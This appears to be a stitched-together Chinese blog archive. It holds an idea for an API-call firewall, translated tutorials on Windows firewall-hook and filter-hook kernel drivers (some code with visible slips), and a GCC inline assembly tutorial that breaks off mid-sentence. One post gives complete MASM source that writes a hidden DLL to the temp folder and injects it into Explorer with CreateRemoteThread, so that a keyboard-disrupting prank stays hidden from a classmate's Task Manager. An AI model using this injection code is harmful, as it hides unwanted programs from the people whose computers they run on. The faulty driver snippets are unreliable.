网络防火墙是监控主机接收和发送的数据包,设定各种各样的rule,进而保证系统的安全。
病毒防火墙(实时监控)是根据病毒特征码来检查是否有病毒正要运行。
那么可不可以把网络防火墙的思想用在防病毒上呢?
例如实现一个 API 防火墙,对于每个正在运行的程序,监控它要调用的 API ,对于一些有可能造成破坏的 API 调用弹出提示,由用户决定是否允许调用。这样,一些像 RegCreateKey,WriteProcessMemory,CreateRemoteThread 等病毒常用的函数需要经过用户允许才能调用,对于病毒的发现和预防都很有用。实现的话用 Hook API 就可以吧?不知道对系统资源消耗有多大。
这只是我自己的空想,可能没什么价值,也可能已经有这样的软件了。欢迎感兴趣的朋友们跟我讨论:)
也许,防火墙钩子驱动是在 Windows 系统下开发数据包过滤程序的方法中最没有文档可查的一个了。微软没有给出关于它的任何文档,你唯一能够找到点儿什么的地方是 DDK 头文件(ipFirewall.h)。事实上,当我安装了 Windows 2000 DDK,我对于发现这个 .h 文件(和它的内容)非常惊奇,因为没有文档提到防火墙钩子的存在。在下一个版本的 DDK 中,微软加了一些关于它的文档:“这个方法存在但不建议使用”。
然而,因为它是个实现防火墙的简单方法,我认为了解防火墙钩子驱动如何工作将是很有趣的。
我不明白为什么微软不建议使用防火墙钩子驱动的开发。对于开发一个完整的防火墙方案我的确不建议用它,但对于小程序,它可是个好的选择。基本上,防 火墙钩子驱动能够做过滤钩子驱动(见我的文章《在 Windows 2000/XP下开发防火墙》)所做的相同工作,但限制更少。
可能你还记得,过滤钩子函数仅允许在系统中安装一个过滤函数。如果有程序已经使用了这个功能,你的程序就没用了。使用防火墙钩子驱动,你不会遇到这 个问题。你可以安装你需要的所有过滤函数。每个过滤函数被赋予一个优先级,于是系统会一个接一个的(以优先级顺序)调用过滤函数知道一个函数返回 “DROP PACKET(丢弃包)”。如果所有的函数都返回“ALLOW PACKET(允许包)”,这个包就被允许通过了。你可以把它想象称一个过滤函数链。当其中一个返回了“DROP PACKET”链就被切断了。链中每个函数的顺序是由它的优先级值数给出的。
在上图中,我表示了以下过程:
你会发现的过滤钩子驱动的另一个问题是对于包的发送,你不能访问包中的数据内容。但是,用防火墙钩子驱动你可以访问所有的数据。防火墙钩子过滤函数 接收到的数据结构比过滤钩子驱动的更复杂。它更接近于 NDIS 驱动中包的结构,整个的包是由一个缓冲链组成的。但是请耐心点,你将在后面看到更多。
像过滤钩子驱动一样,防火墙钩子驱动只是个用来安装回调函数的内核模式驱动(但防火墙钩子驱动 在 IP 驱动中安装回调函数)。实际上,安装防火墙钩子驱动的过程与安装过滤钩子驱动类似。在 ipFirewall.h 文件中,你会看到下面的内容:
typedef struct _IP_SET_FIREWALL_HOOK_INFO
{
// Packet filter callout.
IPPacketFirewallPtr FirewallPtr;
// Priority of the hook
UINT Priority;
// if TRUE then ADD else DELETE
BOOLEAN Add;
} IP_SET_FIREWALL_HOOK_INFO, *PIP_SET_FIREWALL_HOOK_INFO;
#define DD_IP_DEVICE_NAME L\\Device\\Ip
#define _IP_CTL_CODE(function, method, access) \
CTL_CODE(FSCTL_IP_BASE, function, method, access)
#define IOCTL_IP_SET_FIREWALL_HOOK \
_IP_CTL_CODE(12, METHOD_BUFFERED, FILE_WRITE_ACCESS)
这几行代码告诉你了安装回调函数的大致方法。你只需用你的回调函数的数据填写 IP_SET_FIREWALL_HOOK_INFO 结构并安装它发送 IOCTL IOCTL_IP_SET_FIREWALL_HOOK 到 IP 设备。简单,如果你与驱动程序打过交道或是曾做过那个有文档的过滤钩子函数。这个结构的一个重要参数是优先级域。每个优先级域包含了该过滤函数的优先级, 其值越来越大。
PDEVICE_OBJECT ipDeviceObject=NULL; IP_SET_FIREWALL_HOOK_INFO filterData; //..... // Init structure filterData. FirewallPtr = filterFunction; filterData.Priority = 1; filterData.Add = TRUE; //.... // Send the commando to ip driver IoCallDriver(ipDeviceObject, irp);
如果你要卸载过滤函数,可以用同样的代码,只要把 filterData.Add 的值改成 FALSE 就行了。
防火墙钩子驱动的过滤函数比过滤钩子驱动的更复杂。因为没有关于该函数及其参数的文档,所以复 杂度增加了。该函数具有以下特征:
FORWARD_ACTION cbFilterFunction(VOID **pData,
UINT RecvInterfaceIndex,
UINT *pSendInterfaceIndex,
UCHAR *pDestinationType,
VOID *pContext,
UINT ContextLength,
struct IPRcvBuf **pRcvBuf);
用耐心和调试方法(还有参数名字的解释:)),我得出了以下关于参数的信息:
pData |
*pData 指向一个带有包缓冲的 (struct IPRcvBuf *) 结构。 |
RecvInterfaceIndex |
数据接收的接口。 |
pSendInterfaceIndex |
指向无符号整型的指针,包含数据发送的索引值。虽然它是个指针,改变它的值并不能让包改变路径:(。 |
pDestinationType |
指向无符号整型的指针,指出目标类型:本地网络,远程,广播,多播,等。 |
pContext |
指向 FIREWALL_CONTEXT_T 结构的指针,使你可以像流入和流出的包一样取得包的信息。 |
ContextLength |
指向的缓冲区的大小。其值总是 sizeof(FIREWALL_CONTEXT_T)。 |
pRcvBuf |
*pRcvBuf 总是指向 NULL。 |
这些信息可能会在将来的 Windows 版本中改变,因为没有官方的文档可用。我只能保证这是我在 Windows 2000 和 Windows XP 下测试得到的这些域的意义。
对于每个包,我们的函数会被调用,并且取决于它的返回值,包会被丢弃或是放行。在过滤函数中你可以返回的值有:
FORWARD |
包被允许。 |
DROP |
包被丢弃。 |
ICMP_ON_DROP |
包被丢弃并有一个 ICMP 包被发送到远程主机。 |
在防火墙钩子过滤函数中,你并不是像在过滤钩子驱动中那样直接接收带有包头部和内容的缓冲区。 在一些测试后,我弄清了缓冲的内部结构。如我前面所说,发送/接收 包是被传递给 pData 参数的。*pData 指向一个 IPRcvBuf 结构:
struct IPRcvBuf
{
// Point to the next buffer in the chain
struct IPRcvBuf *ipr_next;
// Always 0
UINT ipr_owner;
// Buffer data
UCHAR *ipr_buffer;
// Buffer data size
UINT ipr_size;
// In my tests always a pointer to NULL.
// Maybe the system could use MDLs instead of IPRcvBuf structures (but
// i never have seen it).
PMDL ipr_pMdl;
// Always a pointer to NULL.
UINT *ipr_pClientCnt;
// Always a pointer to NULL.
UCHAR *ipr_RcvContext;
// Always 0. I suppose this field is a offset into buffer data
// but because I haven't a value different from 0, I can affirm it.
UINT ipr_RcvOffset;
// In Windows 2003 DDK the name of this field have changed to flags.
// In my tests I always get 0 value for local traffic and 2 for remote.
// It's the only thing I can tell you about this field.
ULONG ipr_promiscuous;
};
按照我们的意图,只需要知道域 ipr_next, ipr_buffer 和 ipr_size。ipr_buffer 域包含包的 ipr_size 字节。然而,整个包不必在一个缓冲里,系统能够链接多个缓冲。正因如此,ipr_next 域被使用了。这个域指向了下一个带有包数据的结构。当数据结构中的 ipr_next 指向 NULL 时我们就得到了整个的数据包。所以,我们在防火墙钩子驱动中发现了链接缓冲结构正如在 NDIS 驱动中所见。在我的测试中,对于所有接收的包,函数只接收到了一个结构,在其缓冲中带有全部的数据。对发送的包,我发现若干个链接的缓冲,每个包含一种协 议的信息。我的意思是,例如我发送一个 ICMP 包,就会有三个链接的缓冲:一个带有 IP 头部,一个带有 ICMP 头部,而另一个带有数据。然而,就像我们对 NDIS 驱动做的一样,我们不能依赖于系统如何填写这些缓冲。
在下面的图中,你可以看到在防火墙钩子驱动中如何构建数据包的例子:
简单的,你可以由下面的代码看到如何从链接缓冲中得到一个带有数据包内容的正统缓冲:
char *pPacket = NULL;
int iBufferSize;
struct IPRcvBuf *pBuffer = (struct IPRcvBuf *) *pData;
// First, I calculate the total size of the packet
iBufferSize = buffer->ipr_size;
while(pBuffer->ipr_next != NULL)
{
pBuffer = pBuffer->ipr_next;
iBufferSize += pBuffer->ipr_size;
}
// Reserve memory to the lineal buffer.
pPacket = (char *) ExAllocatePool(NonPagedPool, iBufferSize);
if(pPacket != NULL)
{
unsigned int iOffset = 0;
pBuffer = (struct IPRcvBuf *) *pData;
// we are going to copy each buffer of the chain in the lineal buffer.
memcpy(pPacket, pBuffer->ipr_buffer, pBuffer->ipr_size);
while(pBuffer->ipr_next != NULL)
{
iOffset += pBuffer->ipr_size;
pBuffer = pBbuffer->ipr_next;
memcpy(pPacket + iOffset, pBuffer->ipr_buffer,
pBbuffer->ipr_size);
}
}
还有,对于所有好奇的人(在你问到我之前:P),你可以修改包的数据,风险自己承担。没有任何工具来做这类的软件,要做类似的东西,我建议你实现一 个 NDIS IM 驱动或者 TDI 过滤驱动。我没有做太多测试但我不很信赖防火墙钩子驱动改变数据包内容的稳定性。为什么?因为我们不知道 IP 驱动怎样管理这些缓冲和修改它们要冒多大的风险。一句话,我建议:只许看,不许摸。
好了,现在我们知道了过滤函数的语法和传给它的包的格式。现在,我们要知道的就剩如何把这两样 东西结合成一个数据包过滤程序了。我用的方法是试着定义一个类似于过滤钩子驱动中用到的过滤函数,因为这样更容易理解。由于传给过滤函数的参数在这两个驱 动中是不一样的,对于防火墙钩子,我实现了一个中间函数(实际的防火墙钩子过滤函数)来包裹过滤函数。我的意思是,在防火墙钩子过滤函数中,我用了一个函 数来处理包,将它拷贝到一个正统的缓冲中,然后把它传递给过滤函数。有下面的代码,我想你能更好的理解它:
FORWARD_ACTION cbFilterFunction(VOID **pData,
UINT RecvInterfaceIndex,
UINT *pSendInterfaceIndex,
UCHAR *pDestinationType,
VOID *pContext,
UINT ContextLength,
struct IPRcvBuf **pRcvBuf)
{
FORWARD_ACTION result = FORWARD;
char *pPacket = NULL;
int iBufferSize;
struct IPRcvBuf *pBbuffer =(struct IPRcvBuf *) *pData;
PFIREWALL_CONTEXT_T fwContext = (PFIREWALL_CONTEXT_T)pContext;
IPHeader *pIpHeader;
// Convert chained buffer to lineal buffer as we see before.
// This won't be the fastest code but
// will help us to understand better the method.
// ...........
pIpHeader = (IPHeader *)pPacket;
// Call the real filter function and return result
result = FilterPacket(pPacket,
// length in bytes = ipp->headerLength * (32 bits/8)
pPacket + (pIpHeader ->headerLength * 4),
iBufferSize - (pIpHeader ->headerLength * 4),
(fwContext != NULL) ? fwContext->Direction: 0,
RecvInterfaceIndex,
(pSendInterfaceIndex != NULL) ? *pSendInterfaceIndex : 0);
return result;
}
你能很快认出这篇文章的程序。是的,图形界面和我在过滤钩子驱动中用的完全一样。为什么?因为我写了个简单的数据包过滤程序用来测试我写的所有防火 墙方法。这样,我有了一个通用的图形界面给它们,来提供相同的功能,但在底层,它们工作的不一样。我有这个程序的不同版本(只做最小的改动)来测试我的过 滤钩子驱动,防火墙钩子驱动,LSP DLL,TDI 过滤驱动,NDIS 驱动……所以,我想这个方法是好理解的。几乎不更改图形界面,这样你只想了解使用的新方法。
像我其它的文章一样,这个程序只实现了包的过滤。很多人问我关于加入一些更多的功能,像包记录,安装为服务……但我想要按照提供方法而不是答案的思 想。如果你想要加入一些这样的功能,我很高兴:)。你可以联系我,问所有你想要的问题。
好了,一旦我写完了这篇文章,它就是你的了。我希望你能从中学到与我一样多的东西。Enjoy it!!
如果你决定在 Linux 下开发一个防火墙,你可以找到很多资料和源代码,全部免费。但对 Windows 平台下的防火墙感兴趣的人们就有些困难了,不仅是找资料难,找免费的源代码更是个不可能的任务!
所以,我决定写这片文章来简述一下在 Windows 2000/XP 下开发防火墙的简单方法,借以帮助那些对此感兴趣的人们。
在 Windows 2000 DDK 中,微软包含了一种新的网络驱动叫做过滤钩子驱动( Filter-Hook Driver )。使用它,你可以建立一个函数来过滤所有到达或离开接口的数据包。
因为关于这个主题的文档很少,并且没有例子,所以我写了这篇文章来介绍成功使用它所需的步骤。我希望这篇文章能帮你理解这个简单的方法。
过滤钩子驱动
正如我前面所说,过滤钩子驱动是微软在 Windows 2000 DDK 中引入的。实际上,它不是一个新的网络驱动类,它只是扩展 IP 过滤驱动(包含在 Windows 2000 及以后的版本中)功能的一种方法。
事实上,过滤钩子驱动不是网络驱动,而是内核模式驱动。基本的,我们在过滤钩子驱动中实现一个回调函数,然后把这个回调函数与 IP 过滤驱动注册到一起。这样做了之后,IP 过滤驱动会在一个数据包被发送或接受时调用我们的回调函数。那么……这么做主要的步骤有哪些呢?
我总结了以下五个步骤:
哦,只有五步,而且看起来很简单,但是……要怎样建立内核模式驱动呢?怎么取得指向 IP 过滤驱动的指针?怎么……是的,请稍等,我现在就来解释这些步骤:P,展示源码例子。
建立内核模式驱动
过滤钩子驱动是内核模式驱动,所以如果我们想做,就得做个内核模式驱动。这篇文章并不是“5分钟学会怎样开发内核模式驱动”,所以我假设读者们已经 有了这方面的知识。
过滤钩子驱动的结构是典型的内核模式驱动结构:
我建议你使用程序生成内核模式驱动的结构,然后你只要把添加代码到生成的函数里就行了。例如,我在这个项目中使用的 QuickSYS。
你可以看我自己实现的驱动结构,代码如下:
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
//....
dprintf("DrvFltIp.SYS: entering DriverEntry\n");
//we have to create the device
RtlInitUnicodeString(&deviceNameUnicodeString, NT_DEVICE_NAME);
ntStatus = IoCreateDevice(DriverObject,
0,
&deviceNameUnicodeString,
FILE_DEVICE_DRVFLTIP,
0,
FALSE,
&deviceObject);
if ( NT_SUCCESS(ntStatus) )
{
// Create a symbolic link that Win32 apps can specify to gain access
// to this driver/device
RtlInitUnicodeString(&deviceLinkUnicodeString, DOS_DEVICE_NAME);
ntStatus = IoCreateSymbolicLink(&deviceLinkUnicodeString,
&deviceNameUnicodeString);
//....
// Create dispatch points for device control, create, close.
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DrvDispatch;
DriverObject->DriverUnload = DrvUnload;
}
if ( !NT_SUCCESS(ntStatus) )
{
dprintf("Error in initialization. Unloading...");
DrvUnload(DriverObject);
}
return ntStatus;
}
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
// ....
switch (irpStack->MajorFunction)
{
case IRP_MJ_CREATE:
dprintf("DrvFltIp.SYS: IRP_MJ_CREATE\n");
break;
case IRP_MJ_CLOSE:
dprintf("DrvFltIp.SYS: IRP_MJ_CLOSE\n");
break;
case IRP_MJ_DEVICE_CONTROL:
dprintf("DrvFltIp.SYS: IRP_MJ_DEVICE_CONTROL\n");
ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
switch (ioControlCode)
{
// ioctl code to start filtering
case START_IP_HOOK:
{
SetFilterFunction(cbFilterFunction);
break;
}
// ioctl to stop filtering
case STOP_IP_HOOK:
{
SetFilterFunction(NULL);
break;
}
// ioctl to add a filter rule
case ADD_FILTER:
{
if(inputBufferLength == sizeof(IPFilter))
{
IPFilter *nf;
nf = (IPFilter *)ioBuffer;
AddFilterToList(nf);
}
break;
}
// ioctl to free filter rule list
case CLEAR_FILTER:
{
ClearFilterList();
break;
}
default:
Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
dprintf("DrvFltIp.SYS: unknown IRP_MJ_DEVICE_CONTROL\n");
break;
}
break;
}
ntStatus = Irp->IoStatus.Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
// We never have pending operation so always return the status code.
return ntStatus;
}
VOID DrvUnload(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING deviceLinkUnicodeString;
dprintf("DrvFltIp.SYS: Unloading\n");
SetFilterFunction(NULL);
// Free any resources
ClearFilterList();
// Delete the symbolic link
RtlInitUnicodeString(&deviceLinkUnicodeString, DOS_DEVICE_NAME);
IoDeleteSymbolicLink(&deviceLinkUnicodeString);
// Delete the device object
IoDeleteDevice(DriverObject->DeviceObject);
}
我们已经做好了驱动的主要代码,接下来是过滤钩子驱动的代码。
在上面的代码中,你已经看到了一个叫做 SetFilterFunction(..) 的函数。实现这个函数是用来注册函数到 IP 过滤驱动的。有下面的几步:
这里,对于这个驱动有一个更大的问题。只有一个过滤函数可以被安装,所以如果其它的应用程序安装了一个,那你就不能安装你的函数了。
下面是这个函数的代码:
NTSTATUS SetFilterFunction
(PacketFilterExtensionPtr filterFunction)
{
NTSTATUS status = STATUS_SUCCESS, waitStatus=STATUS_SUCCESS;
UNICODE_STRING filterName;
PDEVICE_OBJECT ipDeviceObject=NULL;
PFILE_OBJECT ipFileObject=NULL;
PF_SET_EXTENSION_HOOK_INFO filterData;
KEVENT event;
IO_STATUS_BLOCK ioStatus;
PIRP irp;
dprintf("Getting pointer to IpFilterDriver\n");
//first of all, we have to get a pointer to IpFilterDriver Device
RtlInitUnicodeString(&filterName, DD_IPFLTRDRVR_DEVICE_NAME);
status = IoGetDeviceObjectPointer(&filterName,STANDARD_RIGHTS_ALL,
&ipFileObject, &ipDeviceObject);
if(NT_SUCCESS(status))
{
//initialize the struct with functions parameters
filterData.ExtensionPointer = filterFunction;
//we need initialize the event used later by
//the IpFilterDriver to signal us
//when it finished its work
KeInitializeEvent(&event, NotificationEvent, FALSE);
//we build the irp needed to establish fitler function
irp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER,
ipDeviceObject,
if(irp != NULL)
{
// we send the IRP
status = IoCallDriver(ipDeviceObject, irp);
//and finally, we wait for
//"acknowledge" of IpFilter Driver
if (status == STATUS_PENDING)
{
waitStatus = KeWaitForSingleObject(&event,
Executive, KernelMode, FALSE, NULL);
if (waitStatus != STATUS_SUCCESS )
dprintf("Error waiting for IpFilterDriver response.");
}
status = ioStatus.Status;
if(!NT_SUCCESS(status))
dprintf("Error, IO error with ipFilterDriver\n");
}
else
{
//if we cant allocate the space,
//we return the corresponding code error
status = STATUS_INSUFFICIENT_RESOURCES;
dprintf("Error building IpFilterDriver IRP\n");
}
if(ipFileObject != NULL)
ObDereferenceObject(ipFileObject);
ipFileObject = NULL;
ipDeviceObject = NULL;
}
else
dprintf("Error while getting the pointer\n");
return status;
}
你会发现当我们完成了建立过滤函数的处理,我们必须废除( de-reference )在我们取得指向设备驱动的指针时获得的文件对象。我用了一个将在 IP 过滤驱动完成对 IRP 的处理时提示的事件。
过滤函数
我们已经看到了如何开发驱动和如何安装过滤函数,但我们还不知道过滤函数是什么样的。
我已经说过了这个函数总是在主机接受或发送一个数据包时被调用。根据这个函数的返回值,系统来决定对这个包作些什么。
这个函数的原型必须是这样的:
typedef PF_FORWARD_ACTION (*PacketFilterExtensionPtr)( // Ip Packet Header IN unsigned char *PacketHeader, // Packet. Don't include Header IN unsigned char *Packet, // Packet length. Don't Include length of ip header IN unsigned int PacketLength, // Index number for the interface adapter //over which the packet arrived IN unsigned int RecvInterfaceIndex, // Index number for the interface adapter //over which the packet will be transmitted IN unsigned int SendInterfaceIndex, //IP address for the interface //adapter that received the packet IN IPAddr RecvLinkNextHop, //IP address for the interface adapter //that will transmit the packet IN IPAddr SendLinkNextHop );
PF_FORWARD_ACTION 是一个枚举类型,可以取值为:
PF_FORWARD指定 IP 过滤驱动立即向 IP 栈返回 forward 响应。对于本地包,IP 将他们直接入栈。如果包的目的地是另一台计算机并且允许路由,IP 将它们相应的路由。PF_DROP指定 IP 过滤驱动立即向 IP 栈返回 drop 响应。IP 应该丢弃数据包。PF_PASS指定 IP 过滤驱动过滤包并向 IP 栈返回结果响应。IP 过滤驱动如何处理过滤数据包取决于数据包过滤 API 的设置。如果过滤钩子决定不处理这个包而交给 IP 过滤驱动来过滤这个包,返回这个 pass 响应。虽然 DDK 文档只包含了这三个值,但你查看 pfhook.h(过滤钩子驱动需要包含)就会看到另一个值。这个值是 PF_ICMP_ON_DROP 。我估计这个值对应的是丢弃包并以一个 ICMP 包反馈错误信息。
正如你在过滤函数的定义中看到的,数据包及它的报头是以指针传递的。所以,你可以修改报头或负载然后传递该包。这是很有用的,例如做网络地址转换( NAT )。如果你改变了目标地址,IP 会路由该包。
在我的实现中,过滤函数将每个包和一个由用户应用程序引入的规则列表比较。这个列表是用链表实现的,由每个 START_IP_HOOK IOCTL 在运行时建立。你可以在我的代码中看到这些。
在这篇文章的第一个版本中包含了一个简单的例子,但由于有人想让我帮他开发实际的程序,我把它更新成了一个更复杂的例子。新的例子时一个小的数据包 过滤程序。用这个新程序你可以实现你自己的过滤规则,就像你在一些商业防火墙软件中做的那样。
在第一个版本中,程序包含两个组件:
过滤钩子驱动必须和用户应用程序的可执行文件处在同一个目录中。
为什么用这种方法开发防火墙?
这不是在 Windows 开发防火墙的唯一方法,还有其它的像 NDIS 防火墙,TDI 防火墙,Winsock 层的防火墙,数据包过滤 API,……所以我总结了一些过滤钩子驱动的优点和缺点,以供你在将来需要用到时参考。
结果:过滤钩子驱动并不是最好的,但它也没有什么坏特性。可是为什么这个方法没有用在商业产品中呢?
答案很简单。虽然这个驱动没有不好的特性,但它有一个很大的缺点。正如我之前提到的,每次只能安装一个过滤函数。我们可以开发一个强大的防火墙,它 可能被上千的用户下载并安装,但如果其它的应用程序使用了过滤(并在之前安装了过滤函数),我们的程序就什么都做不了了。
这个方法还有另一个缺点没有被微软的文档提到。虽然 DDK 文档说你可以在过滤函数中访问数据包内容,但那不是真的。你可以访问收到的包的内容,但对于发送的包,你只能读 IP 和 TCP,UDP 或 ICMP 报头。我不明白为什么……
微软在 Windows XP 中引入了另一种没有这个限制的驱动:防火墙钩子驱动。它的安装很类似,但微软并不建议使用它,以为“它消耗太多的网络栈”。也许这个驱动会在以后的 Windows 版本中消失。
好了,到结尾了。我只到这并不是开发防火墙的最好方法(我在前面提到了它的缺点)。但我认为这对正在查找资料和对此感兴趣的人们是个好的开始。
我希望你能得到些帮助,并开始想要开发个强大的防火墙了。
上次那个改变键盘布局 的程序,被同学很容易的就在任务管理器里找出来杀掉了,不爽!想个办法把它藏起来。
google了一下,发现隐藏进程的方法有很 多。可以用rundll,但那样任务管理器里还是会多出个进程,引起怀疑。还可以写注册表里AppInit_Dlls一项,但我试了一下,结果一改就开不 了机,可能是我的dll没写好吧。再有就是注入了,代码注入很隐蔽,但还要遇到代码定位,API定位等问题,麻烦,还是dll注入好了。决定了,说干就 干!
先把原来的那个程序稍做修改,然后build成dll。即加一个DllEntry就行了。
DllEntry proc hInst: HINSTANCE, reason: DWORD, reserved1: DWORD
LOCAL @dwThreadID
.IF reason == DLL_PROCESS_ATTACH
push hInst
pop inst
invoke CreateThread, NULL, 0, addr WinMain, NULL, NULL, addr @dwThreadID
invoke CloseHandle, eax
.ENDIF
mov eax, TRUE
ret
DllEntry endp
然后
ml /c /coff /Cp test.asm
link /DLL /SUBSYSTEM:WINDOWS test.obj
这样我 就有了一个test.dll,把它注入到别的进程里就行啦。为了做成一个程序,我把这个dll作为资源放到另一个程序里,在用到的时候把它释放出来。编辑 test.rc,写入一行:
1000 RCDATA hookx.dll
然后rc test.rc就得到了test.res,一会儿link的时候用。
下面就是写主程序了。程序中首先找到资源,把它释放到windows的 temp文件夹下,并指定隐藏属性(为了隐蔽嘛)。然后就是FindWindow,找到资源管理器(找它是因为几乎所有系统中都会开这个进程嘛),打开, 申请空间,写入LoadLibraryA的地址,CreateRemoteThread建立远程线程就OK了。
这里有一点要注意的就是,建 立了远程线程之后要让该线程马上返回,否则被注入的程序就会一直等待,这也就是为什么我在DllEntry中又用了一个CreateThread的原因。
下 面就是源程序了,就是连续调用一堆函数,也没注释,没做返回值的检查,崩溃了就不管喽!
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
rcID equ 1000
.const
szKerdll db ‘kernel32.dll’, 0
szHookxdll db ‘hookx.dll’, 0
szDesktopClass db ‘Progman’, 0
szDesktopWindow db ‘Program Manager’, 0
szLoadlib db ‘LoadLibraryA’, 0
.data
szBuf db 256 dup(0)
szTempPath db 256 dup(0)
szFmt db ‘%s%s’, 0
.data?
hInstance dd ?
hResInfo dd ?
hResData dd ?
lpResData dd ?
dwResDataLen dd ?
hHookxdll dd ?
dwWrote dd ?
dwProcessID dd ?
hProcess dd ?
lpCodeRemote dd ?
.code
start:
invoke GetModuleHandle, NULL
mov hInstance, eax
invoke FindResource, hInstance, rcID, RT_RCDATA
mov hResInfo, eax
invoke LoadResource, hInstance, hResInfo
mov hResData, eax
invoke LockResource, hResData
mov lpResData, eax
invoke SizeofResource, hInstance, hResInfo
mov dwResDataLen, eax
invoke GetTempPath, SIZEOF szTempPath, OFFSET szTempPath
invoke wsprintf, OFFSET szBuf, OFFSET szFmt, OFFSET szTempPath, OFFSET szHookxdll
invoke CreateFile, OFFSET szBuf, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL or FILE_ATTRIBUTE_HIDDEN, 0
mov hHookxdll, eax
invoke WriteFile, hHookxdll, lpResData, dwResDataLen, OFFSET dwWrote, NULL
invoke FindWindow, OFFSET szDesktopClass, OFFSET szDesktopWindow
invoke GetWindowThreadProcessId, eax, OFFSET dwProcessID
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwProcessID
mov hProcess, eax
invoke VirtualAllocEx, hProcess, 0, SIZEOF szBuf, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov lpCodeRemote, eax
invoke WriteProcessMemory, hProcess, lpCodeRemote, OFFSET szBuf, SIZEOF szBuf, NULL
invoke LoadLibrary, OFFSET szKerdll
invoke GetProcAddress, eax, OFFSET szLoadlib
invoke CreateRemoteThread, hProcess, 0, 0, eax, lpCodeRemote, 0, 0
invoke CloseHandle, eax
invoke CloseHandle, hProcess
invoke ExitProcess, 0
end start
好了,编译连接一下,这回再运行,按alt+ctrl+del看一下,哈哈,没有任何迹象,成功!这回他该纳闷了,我的键盘怎么 又不好使了??
记得看win32asm教程的时候,里面提到win32只使用stdcall约定,即参数由右向左压入堆栈,恢复堆栈的工作交给被调用者。但同时还 提到有一个函数例外,wsprintf,因为它的参数个数是不确定的。原来一直没有用过这个函数,就没注意了。今天用了一下,发现也不用自己恢复堆栈啊, 只要简单的
invoke wsprintf, OFFSET szBuf, OFFSET szFmt, …
就OK了, 并不用在后面加上add esp, xx,为什么呢?把程序反汇编了一下,恍然大悟!原来是编译器帮我搞定了,自动的加上了add esp, xx一句。如果自己再写add esp, xx就是画蛇添足了。
本文对内嵌汇编语法,从基本语法、内嵌汇编的格式介绍、和扩展的内嵌汇编格式进行了详细说明,需要说明的是gcc采用的是at&t的汇编格式.
一 基本语法
语法上主要有以下几个不同.
★ 寄存器命名原则
at&t: %eax intel: eax
★ 源/目的操作数顺序
at&t: movl %eax,%ebx intel: mov ebx,eax
★常数/立即数的格式
at&t: movl $_value,%ebx intel: mov eax,_value
把_value的地址放入eax寄存器
at&t: movl $0xd00d,%ebx intel: mov ebx,0xd00d
★ 操作数长度标识
at&t: movw %ax,%bx intel: mov bx,ax
★寻址方式
at&t: immed32(basepointer,indexpointer,indexscale)
intel: [basepointer indexpointer*indexscale imm32)
linux工作于保护模式下,用的是32位线性地址,所以在计算地址时不用考虑 segment:offset的问题.上式中的地址应为:
imm32 basepointer indexpointer*indexscale
下面是一些例子:
★直接寻址
at&t: _booga ;
_booga 是一个全局的c变量注意加上$是表示地址引用,不加是表示值引用.
注:对于局部变量,可以通过堆栈指针引用.
intel: [_booga]
★寄存器间接寻址
at&t: (%eax)
intel: [eax]
★变址寻址
at&t: _variable(%eax)
intel: [eax _variable]
at&t: _array(,%eax,4)
intel: [eax*4 _array]
at&t: _array(%ebx,%eax,8)
intel: [ebx eax*8 _array]
二 基本的内嵌汇编
基本的内嵌汇编很简单,一般是按照下面的格式
asm(statements);
例 如:asm(nop); asm(cli);
asm 和 __asm__是完全一样的.
如果有多行汇编,则每一行都要加上 nt例 如:
asm( pushl %eaxnt
movl $0,%eaxnt
popl %eax);
实际上gcc在处 理汇编时,是要把asm(…)的内容打印到汇编文件中,所以格式控制字符是必要的.再例如:
asm(movl %eax,%ebx);
asm(xorl %ebx,%edx);
asm(movl $0,_booga);
在上面的例子中,由于我们在行内汇编中改变了edx和ebx的 值,但是由于gcc的特殊的处理方法,即先形成汇编文件,再交给gas去汇编,所以gas并不知道我们已经改变了edx和ebx的值,如果程序的上下文需 要edx或ebx作暂存,这样就会引起严重的后果.对于变量_booga也存在一样的问题.为了解决这个问题,就要用到扩展的行内汇编语法.
三 扩展的行内汇编
扩展的行内汇编类似于watcom.
基本的格式是:
asm ( statements : output_regs : input_regs : clobbered_regs);
clobbered_regs指的是被改变的寄存 器.
下面是一个例子(为方便起见,我使用全局变量):
int count=1;
int value=1;
int buf[10];
void main()
{
asm(
cld nt
rep nt
stosl
:
: c (count), a (value) , d (buf[0])
: %ecx,%edi );
}
得 到的主要汇编代码为:
movl count,%ecx
movl value,%eax
movl buf,%edi
#app
cld
rep
stosl
#no_app
cld,rep,stos就不用多解释了.
这几条语 句的功能是向buf中写上count个value值.
冒号后的语句指明输入,输出和被改变的寄存器.
通过冒号以后的语句,编译器就知 道你的指令需要和改变哪些寄存器,
从而可以优化寄存器的分配.
其中符号c(count)指示要把count的值放入ecx寄存器
类 似的还有:
a eax
b ebx
c ecx
d edx
s esi
d edi
i 常数值,(0 – 31)
q,r 动态分配的寄存器
g eax,ebx,ecx,edx或内存变量
a 把eax和edx合成一个64位的寄存器(use long longs)
我们也可以让gcc自己选择合适的寄存器.
如下面的例子:
asm(leal (%1,%1,4),%0
: =r (x)
: 0 (x) );
这段代码实现5*x的快速乘 法.
得到的主要汇编代码为:
movl x,%eax
#app
leal (%eax,%eax,4),%eax
#no_app
movl %eax,x
几点说明:
1.使用q指示编译器从eax,ebx,ecx,edx分配寄存器.使用r指示编译器从 eax,ebx,ecx,edx,esi,edi分配寄存器.
2.我们不必把编译器分配的寄存器放入改变的寄存器列表,因为寄存器已经记住了它 们.
3.=是标示输出寄存器,必须这样用.
4.数字%n的用法:数字表示的寄存器是按照出现和从左到右的顺序映射到用r或q请求
